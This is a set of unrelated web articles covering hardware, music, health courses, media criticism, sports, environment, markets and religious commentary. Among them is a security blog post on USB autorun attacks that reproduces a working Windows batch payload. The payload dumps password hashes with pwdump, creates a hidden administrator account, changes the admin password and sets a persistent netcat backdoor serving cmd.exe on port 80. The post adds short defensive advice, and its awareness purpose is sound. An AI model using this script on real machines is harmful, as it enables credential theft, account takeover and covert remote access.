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Just Delivered: ASUS ROG MATRIX GeForce GTX 580 1.5GB Graphics Card
Subject: Graphics Cards | July 1, 2011 - 03:03 PM | Ryan Shrout
Tagged: ROG, matrix, just delivered, GTX 580, asus
Just Delivered is a section of PC Perspective where we share some of the goodies that pass through our labs that may or may not see a review, but are pretty cool none the less.
We like big graphics cards and we can't deny...when the FedEx guy shows up with a great big box and....okay, sorry about that. But it is true, we definitely love it when new GPUs find their way to our testing facilities. Today is no different as the delivery guy dropped off a box that gave us the ASUS Republic of Gamers (ROG) MATRIX GTX 580 1.5GB.
We first saw this card at Computex in June and we are without a doubt preparing a full review of it in the next week or so, but we wanted to show it off right away - after all, we like to share the goodies that make their way to PC Perspective as often as we can. At first glance you can easily tell that the ROG MATRIX GTX 580 is more than just your standard 580-based solution - it takes up three slots with its large cooler and uses dual 8-pin power connectors rather than an 8-pin and 6-pin combination.
It has some very unique options including buttons directly on the PCB that instantly put the fan at the full 100% speed and + and - keys for increasing and decreasing the GPU clock rate without the need to go into software. Pretty damn cool!
There are voltage measurement positions on the PCB and a Safe Mode button to instantly revert back to the standard clock rates if you have pushed the card too far - this will make things much easier for those overclockers that push things well past reasonable limits.
The cooler is GARGANTUAN but keeps the temperatures reasonable while the card runs on a 19-phase PCB.
ASUS MATRIX GTX 580 - Reference GTX 580 - ASUS ARES
This probably won't beat out the Radeon HD 6990 for the fastest graphic card around but we are thoroughly expecting to be impressed in our full review.


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Kurt Cobain's Isolated 'Smells Like Teen Spirit' Vocal Track Goes Viral After 2 Years on YouTube
A YouTube clip featuring late Nirvana frontman Kurt Cobain's isolated vocal track on 'Smells Like Teen Spirit' has become an Internet sensation over the past week — two years after it was posted on the popular video-sharing website.
The 1991 release of Nirvana's 'Smells Like Teen Spirit' was a watershed moment in the history of rock music. The meteoric rise of that one song ushered in an entire new wave of bands that saved the then flat-lining genre. The massive single has been played millions of times and is still a staple at rock radio stations today, but fans are hearing the song in an entirely different way after an old YouTube clip got noticed by the interwebs last week.
Last week, a two-year-old YouTube clip featuring Kurt Cobain's unaccompanied vocal track on 'Smells Like Teen Spirit' made it to the front page of several major music websites after the clip was posted on blogger Bobby Ownski's The Big Picture. The haunting clip offers a new way to appreciate both Cobain's vocals and the subtle brilliance added to the equation by 'Nevermind' producer Butch Vig.
In a society where Rebecca Black's 'Friday' can become an overnight sensation via YouTube, it is somewhat criminal that this piece of rock history has gone largely unnoticed for two years. The 'Smells Like Teen Spirit' isolated vocal track is not the only one of Cobain's on the Web. There are several others, including 'Drain You,' 'Lounge Act' and 'You Know You're Right.' Check them out below:
Kurt Cobain's Isolated Vocal from 'Smells Like Teen Spirit'

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BSU Catalog Home | Graduate Health Program | All-University Courses and Descriptions
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5150 THEORETICAL AND ETHICAL FOUNDATIONS OF HEALTH (3 credits) Provides entry level health education and community health students with the theoretical and ethical foundations of health. Also examines health's history, philosophy, settings, literature, and credentialing.
5200 PERSONAL AND CONSUMER HEALTH (3 credits) A comprehensive study of personal health identifying ill-advised health behaviors and recommending strategies for positive behavioral change. From an opportunity cost perspective, personal health care options, products and services in the marketplace will be examined. Opportunities to network with local, state and federal consumer health agencies will be provided.
5210 TEACHING SECONDARY SCHOOL HEALTH (3 credits) An integrated approach to the organization, content, goals, objectives, curriculum, methods and techniques of teaching health at the secondary school level. Coordinating services and establishing collaboration will be incorporated. Secondary school state and national guidelines and mandates will be discussed. Teaching opportunities within the class will be provided, along with a 30-hour practicum at an area high school.
5220 EPIDEMIOLOGY (2 credits) Provides the prospective health professional with sufficient introductory knowledge of epidemiology and health statistics to critique the scientific and educational health literature.
5300 NUTRITION (3 credits) Fundamentals of food utilization in the body and diet planning including discussion of the relationship between dietary habits and disease. Also included are discussions of current trends in nutrition, dietary changes for special conditions such as pregnancy, infancy, aging, athletes and teenagers, and cultural differences in dietary practices.
5320 HEALTH CARE POLICY AND LAW (3 credits) Introduction to the health care provided in the United States. Analyzes the complexity of the American health system and the policy issues that must be confronted to achieve meaningful health reform. Examines specific health care organization aspects, such as the medical profession, hospitals, managed care organizations, and government health care programs. Provides useful insight into future directions for health care reform. Also details the relationship of the U.S. legal system, the law, and the American Constitution to health care policy.
5400 HEALTH AND DRUGS IN SOCIETY (2 credits) A study of chemical use and abuse as related to personal and community health. Various drugs and drug-taking behaviors will be defined and discussed. Historical, cultural, educational, and legal perspectives will be examined. Multi-faceted prevention and rehabilitation strategies promoting wellness will be discussed.
5410 HEALTH PROGRAMMING (4 credits) A comprehensive study of the process of identifying health problems, establishing health programming, and promoting, implementing, and evaluating the program. Also examines vision and mission statements, along with goals, objectives, timetables, and interpretation of results. This course parallels CHES criteria and utilizes a local community health organization such as the B-TEAM to integrate student involvement.
5500 COMMUNITY HEALTH (3 credits) Comprehensive study of the community health challenges confronting the citizenry of the United States of America. Examines the roles of federal, state, and local governments, as well as private agencies, in individual and aggregate health care. Provides opportunities for community health networking.
5700 DISEASE IDENTIFICATION, PREVENTION, AND CONTROL (2 credits) Introduction to the identification, prevention, and control of disease and disorders in human populations. Focuses on the history and principles of disease occurrence, cells, aging, and immune system function in relation to infectious and chronic disease and disorders.


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Washington Post celebrates "National Coming Out Day" by publishing Perkins's anti-gay screed
Blog ››› ››› JULIE MILLICAN
Continuing the paper's tradition of giving a platform to bigots, the Washington Post felt it appropriate to open its arms to Tony Perkins's anti-gay bigotry on "National Coming Out Day."
In a column on the paper's On Faith blog, Perkins complained that "homosexual activist groups like GLSEN (the Gay, Lesbian and Straight Education Network) are exploiting" recent incidents of gay youth committing suicide after anti-gay "bullying." Perkins suggests that these tragedies are not caused by the homophobic attacks these individuals were subjected to, but rather because "homosexuals experience higher rates of mental health problems in general, including depression," and, according to Perkins, there's no "evidence to link this with society's general disapproval of homosexual conduct." Unfortunately for Perkins, the article he links to says no such thing.
Perkins links to a February 2002 American Psychologist article, which reported on the "results of several breakthrough studies are offering new insights on gay men, lesbians and bisexuals." While Perkins is right, "Several studies suggest that gay men, lesbians and bisexuals appear to have higher rates of some mental disorders compared with heterosexuals," he's totally wrong that these rates have nothing to do with discrimination. In fact, the article immediately goes on to report that "[d]iscrimination may help fuel these higher rates." The article reported: "In a study that examines possible root causes of mental disorders in LGB people, [Susan] Cochran [PhD] and psychologist Vickie M. Mays, PhD, of the University of California, Los Angeles, explored whether ongoing discrimination fuels anxiety, depression and other stress-related mental health problems among LGB people. The authors found strong evidence of a relationship between the two." Several other studies back up this finding.
Undaunted that research completely undermines his bigoted claims, Perkins goes on to blame the "homosexual movement" for the contributing to the "sense of despair" that could have led to the recent suicides that have gripped headlines nationwide:
Some homosexuals may recognize intuitively that their same-sex attractions are abnormal--yet they have been told by the homosexual movement, and their allies in the media and the educational establishment, that they are "born gay" and can never change. This--and not society's disapproval--may create a sense of despair that can lead to suicide.
Perkins goes on to declare that being gay is a "self-destructive behavior," like "the excessive use of alcohol, drugs, reckless driving, or heterosexual activity outside of marriage." He announced that "homosexual conduct... qualifies as a behavior that is harmful to the people who engage in it and to society at large. It is not loving to encourage someone to indulge in such activities, no matter how much sensual pleasure they may derive from them."
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The lawsuit by former NFL players against the league claiming lack of warnings to players about the dangers, and alleging studies showing damage were covered up, has generated massive public focus.
There is a lawsuit in its early stages brought by former college football players alleging the NCAA failed in its duty to protect athletes that has an even more viable chance of success.
When athletes, who are in the 17-21 age range suffer a concussion, the ramifications can far exceed those of older athletes.
The brain may be still in the process of formation. Recovery time is as much as three times longer than for older athletes. And athletes at this age are still students, required to maintain a full academic schedule and maintain a minimum grade-point average.
Stronger preventive methods and higher barriers for return to play are needed to guard against the greater threat.
The four named plaintiffs, led by former Eastern Illinois football player Adrian Arrington allege that the opposite is true.
The NFL, under the leadership of Commissioner Roger Goodell, has tried to respond to the findings indicating that multiple concussions lead to an exponentially higher risk of dementia, premature senility, chronic traumatic encephalopathy, Parkinson's and Alzheimer's disease, as well as elevated rates of depression.
The NFL has a "whistleblower edict," asking players to report their peers they suspect of being concussion impaired on the field. They have mandated baseline testing, the ImPACT protocol developed by Dr. Mark Lovell, which is a cognitive test, administered pre-season that can be compared with a post-concussion test to dictate when a player is ready to return.
The NCAA has done very little.
Rachel Axon's article in USA Today last month cites plaintiff allegations that the NCAA displayed a "casual attitude toward concussions." The players allege, based on emails that "when David Klossner, the NCAA's director of health and safety, pushed in early 2010 for stronger guidelines regarding concussions, Ty Halpin, the director of playing rules administration, wrote a colleague 'Dave is hot/heavy on the concussion stuff. He's been trying to force our rules committees to put in rules that are not good — I think I have finally convinced him to calm down.'"
Axon reports that in response to an inquiry about concussion standards, Klossner wrote "Well, since we don't currently require anything, all steps are higher than ours."
The NCAA certainly has a responsibility to protect the health and safety of college athletes. When its own director of health and safety, trying to remedy the situation, admits that "we don't require anything" by way of warning or return-to-play requirements, they failed that duty.
Hopefully this lawsuit will lead the way to a new demanding protocol that protects these athletes.
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For the past week there has been a nice discussion on Security focus on USB attacks . Basically what the hacker does is insert a USB keyring device into a computer. The USB device is loaded with a autorun.inf which points to several batch files or scripts that can
-Add new Users
-Change Admin Rights
-Delete Passwords
-Change Passwords
-Use netcat to leave a backdoor
-use pwdump to grap the sam file
-use basic windows commands to grap system information
-download trojens from a server
The possibilities are quite endless. One person (sorry I forgot who it was) actually posted his scripts that he claims work fine and have worked fine on more than one occasion:
Another person pointed out another crule idea. Leaving a CD on the ground with something like "Forth Quarter Layoffs" written on it. I assure you more than one person would instantly insert that in their computer and an autorun sequence could have their computer for lunch.*********<BOF test.bat>
@echo off
@start /min b.bat /B
<EOF test.bat>
*********<BOF b.bat>
@explorer .
@echo off
:isplaying Computer Information for my reference
@echo %computername% %username% %date% %time% >> Essential\DumpIt\sam.txt
@Essential\DumpIt\pwdump2 >> Essential\DumpIt\sam.txt
::Adding a user for me )
@net user /add __system32__ .z,xmcnvb /fullname:"IPC User"
@net localgroup Administrators _system32_ /add
::Hide the Account from being shown on the welcome screen
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "__system__" /t
REG_DWORD /d 0 /f
::Enabling Admin Shares
@reg add
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters /v
@AutoSharewks /t reg_dword /d 1 /f
::Changing Admin Password
@net user administrator .;[pl,mkoijnbhu
@copy nc.exe <nc directory>
@cd c:
@cd <nc directory>
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
"Taskbr" /d "nc directory\nc.exe -L -d -p 80 -e cmd.exe" /f
@echo MYUSER: __system32__ .z,xmcnvb >> Essential\DumpIt\sam.txt
@echo Changed Admin Pass: .;[pl,mkoijnbhu >> Essential\DumpIt\sam.txt
@echo ******************************************** >> Essential\DumpIt\sam.txt
<EOF b.bat>
Gadi Evron gives some ideas to stop these kind of attacks (one in particular I really like )
Basically, just a heads up that this can and does happen very easily so watch out!Disabling USB all-together, virtually, by domain policy or removing the
USB devices themselves, maybe even just filling the plugs with silicon
or glue physically are some more drastic options which some
organizations *might* take, but I don't see it as a very viable option
for most.
It all depends on your risk analysis. Cost vs. benefit, as always with
There exist several tools to monitor a domain for when and if a USB
device is connected to any remote machine, and of what kind. A simple
web search should help you find some examples.
Part of the Message:
How to make an Auto Run CD:
USB Storage FAQ:
DeviceLock - http://www.devicelock.com/
LANDesk System Manager 8 - http://www.landesk.com/
OptimAccess WorkSpy -
SecureNT - http://www.securewave.com/
http://www.sodatsw.cz/english /index.htm (description only in czech language)


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In the summer and fall of 2011, a green tide of blue-green algae enshrouded 230 square miles of Lake Erie's western basin. This algae "bloom" poisoned the water with toxins, suffocating the aquatic life of oxygen, burdening the city of Toledo, Ohio's water treatment plant and threatening a $11.5 billion tourism industry in Ohio.
This algal bloom broke the record for Lake Erie, in terms of both size and concentration. And with climate change, these blooms could become a regular occurrence in the next century, says a team of scientists in a paper published yesterday in the Proceedings of the National Academy of Sciences.
The bloom began on July 15, 2011. By September, it was clear it was the biggest one on record, said Anna Michalak, who headed the research team and now works as an environmental scientist in the Department of Global Ecology at the Carnegie Institution for Science.
"It was certainly clear that this was unlike anything we'd seen," said Michalak. Algal blooms are created when high levels of nutrients, like nitrogen and phosphorus, enter a waterway and stay put for an extended period. Cyanobacteria, commonly known as blue-green algae, feed off streams of phosphorus and nitrogen, usually from plant fertilizers, manure, sewage, commercial detergents and industrial waste.
Weak circulation of waters and warm temperatures encourage the cyanobacteria to thrive in nutrient-rich waters. In 2011, unusually heavy spring rains washed a lot of phosphorus fertilizer into Lake Erie's western basin. That summer, water that had arrived from the Maumee River tributary did not mix with Detroit River water as usual, said Michalak, causing a poor circulation of water. The nutrient-rich waters did not flow out of the western basin, and the algae were allowed to proliferate.
The scientists determined the record impact of the algal bloom by measuring the volume of cyanobacteria in the water and with NASA satellite images. Using 12 climate change models, the researchers concluded that the heavy precipitation, coupled with warming over the region and weaker wind speeds, will mean more algal blooms for the region.
During the 2011 bloom, the volume of microcytosis blue-green algae, which are toxic to the liver, peaked at 224 times the World Health Organization's guidelines. Increases in anabaena toxin, which affects the neurological system, are also expected as blooms become more common. Algae can also clog boat motors and hamper fishing.
Farming in the Great Swamp
The Native Indians of Ohio called the area that is now northwestern Ohio and southeastern Michigan the "Great Black Swamp" -- a land of marshy wetlands. The early pioneers were able to dredge the land and turn it into the rich, productive region it is today. Corn and soybeans dominate in the region, and high prices for both commodities in recent years have encouraged farmers to keep sowing more rows, said Joe Logan, director of agricultural programs for the Ohio Environmental Council.
"There is a compelling economic interest for farmers to maximize productivity," Logan said.
Below the surface of the fields lie networks of perforated tubing, which pull excess water from the soil and send it to the lake, rich in phosphorus, Logan said.
Before the 1970s, phosphorus runoff to Lake Erie's western basin was mostly due to municipal sewers and industry, said David Baker, who founded the National Center for Water Quality Research at Heidelberg University in Tiffin, Ohio, in 1969. By 1980, the phosphorus from agricultural runoff was almost twice the amount from municipal sources, he said.
The patterns also changed. While municipal sources of pollution tend to be consistent throughout the year, agricultural runoff increases tremendously in the spring with the swelling of rivers and streams from the rain.
Since the 1990s, dissolved phosphorus has gone up dramatically from agricultural runoff, and between the years of 1981 and 2008, the ratio between agricultural phosphorus and municipal phosphorus has been 3-to-1.
"The spring loads of 2011 were the largest we'd ever seen since we began monitoring in 1975," said Baker. That increase undermined the successes in reducing municipal phosphorus through an agreement with Canada and with amendments to the Great Lakes Water Quality Agreement.
Ironically, no-till agriculture, a practice designed to improve the environment by not degrading the quality of the soil, has helped facilitate the carriage of nitrogen to the lake. Phosphorus fertilizer lies on top of the soil instead of being dug into it.
Ohio bill to regulate fertilizer in the works
The project to study algal blooms and climate change came before the record algal bloom, said Allison Steiner, an atmospheric scientist at the University of Michigan and a co-author of the study.
"We really were very well poised to address the comprehensive nature of this problem," said Steiner. The group included a geospatial statistician, a water runoff modeler and economists who study land-use change.
Despite the gloomy future for Lake Erie's waters, there is room for mutually beneficial solutions to mitigate the problem, said Michalak. Washing phosphorus out with the rain is not only unhealthy for the lake, but a waste of money for farmers, so efforts to curb runoff would help both the environment and agricultural economy.
State agencies in Ohio are also seeking legislative solutions to better control agricultural runoff, said Logan. A bill has been drafted that would revise agricultural pollution laws to authorize the director of the Department of Natural Resources to designate certain watersheds in "distress," which would require the implementation of a watershed management plan. It would also require farmers who apply fertilizer to be certified by the state Agriculture Department.
Although most of the phosphorus runoff comes from crop fields, Steiner doesn't believe that reducing fertilizer is the best solution to the problem.
"I think that's an easy conclusion to draw," she said. "But the problem is much more complicated than that."
What's needed, Steiner said, is better communication to farmers about changes in rainfall and a better understanding of the adaptation measures.
Michalak of the Carnegie Institution agrees.
"One of the take-home messages is that this is a complex system," Michalak said. "Being too myopic and looking at one factor is clearly not the full story."
Reprinted from Climatewire with permission from Environment & Energy Publishing, LLC. www.eenews.net, 202-628-6500


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In my loudest tones
Rodebjer blazer, Equipment blouse, Chicwish skirt, vintage belt, Forever 21 leggings, Steve Madden wedges, Christopher Kon Co-Lab satchel
I should be sleeping--seeing as I should be up early tomorrow to start on a project I've been marinating for a while--but the two cups of lychee oolong and jasmine green tea latte I drank earlier seem to be holding me up. This weekend went by SO much quicker than I had expected, but I suppose that's a good thing. You know, like it means that I actually did something fun because when you're enjoying your time, you never seem to know where it went.
On another note, I got the chance to hear Coldplay perform LIVE at the Hollywood Bowl this week and it was a-ma-zing. Chris Martin is such a charmer and they definitely put on a great light show. The bowl was packed and heated with energy and love--Steven and I were much excited to be a part of it. I had honestly tried to condition myself to hold the tears for when they would play "Yellow," "The Scientist," "Fix You," and "Warning Sign," but realistically, I cried like a little girl because 1) their performance for each song was so simply beautiful and 2) hearing these songs brought me back to a state of when I felt so raw and in need of closure. Yeah, I know Coldplay has that affect on a lot of people, but... the live performance was just moving, so moving.


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Wolverine, Storm, Cyclops, Dazzler, Colossus and Nightcrawler must battle through Brotherhood of Evil Mutants in this action-packed beat 'em up based on the comic book franchise. A massively popular brawler from Konami in its time, the original X-Men: The Arcade Game featured six X-Men characters (all of which could be playable at a time on the massive 6-player kiosks) brawling through millions of Sentinal forces and evil X-Men opponents.
For the first time ever, the arcade action comes home in a complete reproduction of the original hit! The double-screen action has been conformed for more modern widescreen HDTVs, allowing all six mutant heroes to be on-screen at one time, and Xbox Live integration allows all your friends to join you in a cooperative strike on Magneto's armies.
Start saving your quarters, Konami and Marvel Entertainment have announced that X-Men Arcade, the 1992 cabinet classic, is getting an HD re-release on PlayStation Network and Xbox Live. Select your favorite mutant after the jump. Read More »
Also known as: X-Men Arcade
Release Region: United States
Release Date: December 15, 2010
Publisher: Konami
Release Region: United Kingdom
Release Date: December 15, 2010
Publisher: Konami
Release Region: Australia
Release Date: December 15, 2010
Publisher: Konami
Also available on: PlayStation 3, iPhone, Arcade
41.0 MB download
Local Multiplayer - Cooperative: 4
Online Multiplayer - Cooperative: 6
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Two forces are affecting Gold and Silver prices this morning. One is profit taking as traders take a portion of their profits off the table. The second is the rising U.S. dollar relative to the euro and other currencies. Investors are still digesting Friday's jobs report, which stemmed the tide of the falling dollar. Today's meeting of Europe finance ministers will be closely watched. Spain and Greece will be the hot topics. No decisions are expected today, but discussions will be the prelude for the next meeting in Brussels on Oct. 18-19 that will answer whether Spain will ask for a bailout and what to do about the Greek debt.
The situation in Greece has become so volatile that special preparations are being made for German Chancellor Angela Merkel's visit on Tuesday. Chancellor Merkel's call for austerity measures is not popular with the Greek populace. Greece is preparing for two days of strikes with over 7,000 plainclothes police and hundreds more undercover agents. Snipers will be stationed on rooftops throughout the city.
Despite recent strong gains in the U.S. stock market, investors are bracing for the worst earnings season since 2009. Analysts are expecting earnings to decline, after 11 quarters in a row of gains. These poor results are attributed to the slower than expected U.S. economic recovery and the overall economic slowdown worldwide.
At 9 a.m. (EDT), the APMEX Precious Metals spot prices were:
- Gold, $1,771.90, Down $8.40.
- Silver, $33.96, Down $0.62.
- Platinum, $1,684.40, Down $19.80.
- Palladium, $653.50, Down $10.70.
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The Sunbelt Ag Expo — "North's America's Premier Farm Show" — consists of a 600-acre research farm, 100-acre exhibit area and 40 acres of parking.
Altogether, that's a lot of ground to cover, and now there's an app to help you take it all in.
"Know on the Go" is the official mobile app for the 2011 Sunbelt Ag Expo, to be held Oct. 18-20 at Spence Field in Moultrie, Ga.
The Sunbelt Expo is a must-attend event for anyone in agriculture, featuring more than 1,100 exhibitors, a working farm, equipment demonstrations and driving ranges, and various educational opportunities.
"Know on the Go," provided for the first time by Farm Press Publications and Penton Media Inc., will allow those attending the Sunbelt Expo this year to use their iPhone, IPod Touch, iPad, Blackberry or Android to receive up-to-the-minute news alerts and other breaking information during the three-day show.
"The Sunbelt Expo: Know on the Go mobile app was produced by Penton Custom Media and has been used at some of the largest trade shows in the nation," says Greg Frey, vice-president at Penton Media and publisher of Farm Press.
"We believe this new technology will greatly enhance participants' experience at this year's Sunbelt Ag Expo."
Farm Press, a member of the Agricultural Group at Penton Media, publishes Southeast Farm Press, Delta Farm Press, Southwest Farm Press and Western Farm Press. Southeast Farm Press is an official sponsor of the Sunbelt Agricultural Exposition and publishes the official show program and the Sunbelt Expo Field Day Guide.
Plan visit, get updates
"In the ever-changing world of communications, this mobile app will allow our attendees to better plan their visit to the show and give them up-to-the minute updates and reminders of events that interest them," says Chip Blalock, executive director of the Sunbelt Ag Expo.
"We are proud to partner with Farm Press to create this mobile app and take our promotional efforts to the next level."
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Fire head coach Carlos de los Cobos told reporters on Monday that Designated Player Nery Castillo will not travel with the team to San Jose. The Mexican international, who did not take part in training Monday, is suffering from a left quad strain that kept him off the game-day roster for Saturday's 1-0 loss to Seattle.
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Freddie Ljungberg, Gonzalo Segares and Bratislav Ristic all missed training on Monday. All three players will travel to San Jose with the club, but their status remains uncertain.
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The Somerset-Berkley gridders weren't very lively in the first two quarters of Saturday afternoon's game against EAC opponent Coyle-Cassidy. The third quarter was a different story.
The Blue Raiders hit the ground running at the start of the second half, scoring three touchdowns over a span of 7 minutes en route to an impressive 38-0 blowout win against the Warriors at Hanson Field. SB running back Mark Tonucci led the Raider offense with three touchdowns and 95 yards on 15 carries.
SB was ahead 8-0 at the start of the third quarter and by 3:26 they had quadrupled that cushion.
Blue Raider quarterback Joe Fingliss led his team down the field on a 9-play, 66-yard drive that ended with Tonucci's 4-yard score at 6:40 to make it 16-0 SB, but that was just the beginning.
Coyle fumbled on the kickoff seconds later and the ball was recovered by SB's Robert McNeil, placing it at the Warriors' 12-yard line. Tonnuci hauled in his third touchdown of the game at 5:53. The Warriors experienced déjà vu at 5:21, turning the ball over again for the second time in under a minute, setting the Raiders up for another score. Fingliss' handoff to Zack Estrella resulted in a 7-yard run that made it 32-0 Raiders with 3:26 remaining in the third.
SB backup QB Justin Duarte stepped in for Fingliss with under two minutes remaining in the last quarter and his handoff to sophomore RB Kyle Crombie ended with a 35-yard touchdown run, capping the Raiders' scoring for the afternoon.
Chip Wood totaled 88 yards on 14 carries for SB.
The Blue Raiders racked up 283 offensive yards on the afternoon and held the Warriors to only 106.
"It was nice to get the win in," SB head coach Nick Freitas said. "The defense wore down a little in the first half but they got a good talking to and they came out and responded. The defense bent but certainly didn't break for us."
The win was the first of the season for the Blue Raiders (1-3 overall, 1-0 EAC), and their first at the new stadium.
Coyle struggled to hold onto the football, tallying four fumbles and an interception.
The Warriors' best chance to get on the board was their opening drive. CC quarterback Collin Duggan handed the ball to teammate Josh Cobb, who ran it 60 yards into the Raiders' end zone for what looked like a touchdown at 8:24, but the Warriors suffered a penalty after a block in the backfield, erasing the score. With the ball spotted at the CC 26, Duggan gave the ball to CJ Malloch, but the Raiders forced a fumble, which was recovered by Jacob Cabana.
That same fumble allowed SB to chalk up their first score of the game at 1:36 in the first, thanks to Tonucci's 10-yard touchdown.
"When you recover a fumble, you've really got to respond with it," Freitas said.
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Q. As Muslims around the world observe the holy month of Ramadan, a new survey shows that American Muslims are happier than ever. A Gallup study found that 60% of Muslim Americans surveyed reported they were "thriving," slightly higher than for Americans of any other religion except Jews, and are optimistic about their lives.
The survey, carried out over two years by the Abu Dhabi Gallup Center, found that Muslim Americans said their standard of living was improving over past years and that, with the election of Barack Obama, they felt a sense of political enfranchisement. More Muslim Americans said attacks on civilians were wrong than any other religious group, and almost 70% said they identified strongly with America.
Ahmed Younis, an analyst for the center, said, "Muslim Americans are thoroughly American in their allegiance and identity and don't see a conflict between that and being thoroughly Muslim."
Nonetheless, the poll also found that negative perceptions of Muslims are still strong, with half reporting racial or religious harassment or discrimination. About a third of Catholics or Protestants polled claimed that Muslims aren't loyal to America, and that Muslims should be more vocal in condemning terrorist attacks.
While the increased happiness of Muslim Americans is a good thing, can the community ever shake off its negative image?
Wow to this great question, and wow to the great city of La Cañada Flintridge and the surrounding areas of Glendale, Pasadena, Burbank and the Crescenta Valley.
For the first wow, "Can the community (of Muslim Americans) ever shake off its negative image?" The answer is a resounding yes, because the negative image is a creation of Islamic extremism, media sensationalism and the cottage industry of Islamic bigotry.
The small problem of Islamic extremism is caused by al-Qaida and the deranged individuals who act as lone wolves (think about the Christian parallel, a Norwegian extremist trying to hijack Christianity). The large problem of Islamic extremism is perpetuated by the mostly illegitimate and oppressive governments of Muslim-populated countries. Saudi Arabia and Iran are the largest purveyors of Islamic extremism. The most advanced exception to this general condition is Turkey, which has successfully integrated moderate Islam and secularism since 2002, when it was freed from the web of corruption caused by its military establishment.
Media profiteering and the quest for TV ratings just cannot cope with the plain reality that most Muslim Americans, and Muslims worldwide, are simply moderate, peace-loving and freedom-seeking people. The poorly named Arab spring is the manifestation of the moderate and peaceful nature of the vast majority of the Muslim world.
The self-proclaimed Islamic pundits are always looking to stoke the winds of hatred. Islamophobia is here, but is always marginalized by anybody who has real knowledge of Islam or personal contact with Muslims. Unfortunately, in the run-up to the 2012 presidential elections, we will see fear of Islam used as a wedge issue again. Browse over to loonwatch.com for a list of practitioners of hate toward Islam and Muslims.
For the second wow, Muslims in our local community — through the activities of the Islamic Congregation of La Cañada Flintridge — have received overwhelming positive reception with all our activities since December 2005. Since we were greeted with open arms by our elected officials, our interfaith community service activities have quelled the negative images created by the Islamic pundits and media sensationalism.
Our homeless feeding and partnership with Habitat for Humanity have served countless underprivileged people in the Southland. The byproduct of our social gatherings has become a rallying point to not only serve the underprivileged, but to also naturally serve the mission of the ICLCF: Muslim neighbors working together for peace and mutual understanding. There is no image problem to shake off because the force of human relations has seen through the garbage of bigotry.
By sheer coincidence, our guest speaker for our sixth annual Ramadan potluck dinner is Ahmed Younis, senior analyst at the Gallup Center for Muslim Studies. We invite all to attend on Friday, Aug. 19, at 7 p.m. at the Community Center of La Cañada Flintridge. If you are interested in attending, please send an email to firstname.lastname@example.com.
Levent Akbarut
Islamic Congregation of La Cañada Flintridge
La Cañada
First of all, I am more than a little concerned that there are religious groups that condone attacks on civilians. In the name of God — however you call out to God — the Gallup Poll Center should get a resounding 100% "no" whenever it asks such a question.
For those who are unsure when asked, it is tragically easy to locate, and to hear from, civilian victims of military attacks — from the Holocaust to Zimbabwe to Burma to Syria and into places and stories unimaginable.
On the question of the image of Muslim Americans: Muslim leaders in Southern California consistently and publicly communicate the messages of moderate Islam in order to distinguish themselves from radical fundamentalist elements of Islam. They issue ongoing condemnations of terrorist attacks. They communicate their commitment to the country through participation in civic institutions and charities that serve their communities. I hear these statements all the time.
But we hear what we want to hear. It is possible to select a news source that will never report on the normal lives of moderate Muslim families, but will faithfully report and interpret the words and actions of extreme elements. This happens with Christian communities, too, of course. In the media, you are more likely to hear of scandalously lusty and greedy pastors than church members who shape their lives around Christ-centered service and love. The life-giving expressions of a moderate, faithful life are just not as newsworthy as the extreme, death-dealing expressions of broken lives.
We fail ourselves and our communities when we allow sensationalized reporting to shape our impressions of our neighbors, when we could actually meet our neighbors and form our own impressions. We build up our communities when we take the time to move beyond image to relationship.
The Rev. Paige Eaves
Crescenta Valley United Methodist Church
On my way back from a camping trip this week, traveling south through the Owens Valley on Route 395, I passed the historic site of Manzanar. The National Park Service has been restoring it as a museum and educational center to teach cautionary lessons on the use and abuse of land for purposes of using and abusing people. (Miners and ranchers took the land from the Paiute tribe, with help from the U.S. Army; city folk took it from them, rerouting all the water for the Los Angeles Aqueduct; then, of course, it was used for the internment of Japanese American citizens in World War II.)
Even though the purposes for rebuilding are good, it's still chilling to see the looming guard tower and humble barracks buildings rising back to life among us. Downright creepy, to see it being rebuilt during this era of paranoia, xenophobia and religious reactivity.
I'm so glad to hear that Muslim Americans are able to be mostly happy and hopeful despite continuing harassment and prejudice. And I think that the burden for removing a negative image should be less on them, more on non-Muslim Americans.
I think every one of us should, at least in our imagination, stand often on the dust of the windblown desert at Manzanar, look up through the barbed wire at the empty guard tower, and take a vow within our own soul to never allow that sort of hysterical racism to take root within us. Ever.
"For there is no distinction between Jew and Greek [native and settler, Asian American and other Americans, Muslim and Christian, us and them]; the same Lord is Lord of all and is generous to all who call on him" (Romans 10:12).
The Rev. Amy Pringle
St. George's Episcopal Church
La Cañada
The 9/11 and other attacks exposed the violent tendencies of Islam, which many believe are inherent in its core doctrines. These murderous attacks on innocent people have understandably left a serious, long-term scar in the hearts of Americans. They have cast a long shadow over the credibility of Islam in our country.
That being said, I believe most of us don't think our Muslim friends and neighbors themselves are terrorists. Most would agree that they desire the peace and prosperity of our country as much as anyone else. Public image in America is generally repairable, given enough time and demonstrated contrition. For many Americans, there apparently hasn't been enough of either, thus the ongoing negative perceptions.
Being accepted by the public is important to living happily in America. But for a happy life in eternity, the Bible teaches that acceptance by God isn't just important — it's essential. Every one of us has sinned during our lives, and our sins alienate us from God. Sin's wages are eternal death and separation from him. Faith in the cross of Christ is the only avenue God has opened that we might be accepted by him.
"For if while we were enemies, we were reconciled to God through the death of his son, much more, having been reconciled, we shall be saved by his life." (Romans 5:10).
It's the one way, but that way is open to every person who wishes to take it.
Pastor Jon Barta
Valley Baptist Church
Of course Muslim Americans can — and will — shake off any negative image that persists among certain segments of the population. One thing that sets our country apart from others is our ability to effectively integrate immigrants. Over the past 250 years we have attempted many assimilation strategies. Some have worked better than others. This poll reflecting the Muslim American community's happiness and identification with America seems to indicate that we have finally gotten it right.
For a long time, our country was defined as a melting pot of ethnic minorities. This metaphor was used to describe the process in which the immigrant — like metal placed in a hot crucible — allows himself or herself to be "melted" into a formless liquid and then molded into the American way of life. Many immigrants, especially Jews, embraced this model, and along the way abandoned thousands of years of tradition. The term "melting pot" was actually coined by a Jewish immigrant, the playwright Israel Zangwill (1864-1926), who said, "America is God's Crucible, the great Melting-Pot where all the races of Europe are melting and reforming.... Germans and Frenchmen, Irishmen and Englishmen, Jews and Russians — into the Crucible with you all! God is making the American."
